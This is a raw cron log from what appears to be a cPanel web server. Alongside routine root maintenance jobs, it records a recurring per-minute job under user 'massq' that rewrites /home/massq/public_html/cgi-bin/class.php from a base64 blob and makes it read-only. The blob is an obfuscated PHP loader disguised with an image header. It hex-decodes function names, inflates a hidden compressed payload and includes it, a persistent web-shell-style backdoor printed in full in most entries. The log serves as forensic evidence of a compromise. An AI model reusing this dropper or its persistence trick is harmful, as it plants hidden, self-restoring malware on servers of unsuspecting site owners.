Sep  9 19:14:01 server CROND[29141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:14:01 server CROND[29142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:15:01 server CROND[29535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:15:01 server CROND[29537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:15:01 server CROND[29538]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:15:01 server CROND[29539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:15:01 server CROND[29542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:15:01 server CROND[29541]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 19:15:01 server CROND[29540]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:15:01 server CROND[29543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:16:01 server CROND[30378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:16:01 server CROND[30379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:16:01 server CROND[30380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:17:01 server CROND[30754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:17:01 server CROND[30755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:17:01 server CROND[30756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:18:01 server CROND[31281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:18:01 server CROND[31283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:18:01 server CROND[31284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:19:01 server CROND[32025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:19:01 server CROND[32027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:19:01 server CROND[32026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:20:01 server CROND[32584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:20:01 server CROND[32586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:20:01 server CROND[32590]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:20:01 server CROND[32593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:20:01 server CROND[32591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:20:01 server CROND[32587]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:20:01 server CROND[32592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:20:01 server CROND[32594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:20:01 server CROND[32589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:21:01 server CROND[996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:21:01 server CROND[995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:21:01 server CROND[997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:22:01 server CROND[1493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:22:01 server CROND[1495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:22:01 server CROND[1494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:23:01 server CROND[1874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:23:01 server CROND[1875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:23:01 server CROND[1876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:24:01 server CROND[2384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:24:01 server CROND[2385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:24:01 server CROND[2383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:25:01 server CROND[2788]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:25:01 server CROND[2791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:25:01 server CROND[2792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:25:01 server CROND[2793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:25:01 server CROND[2790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:25:01 server CROND[2795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:25:01 server CROND[2794]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
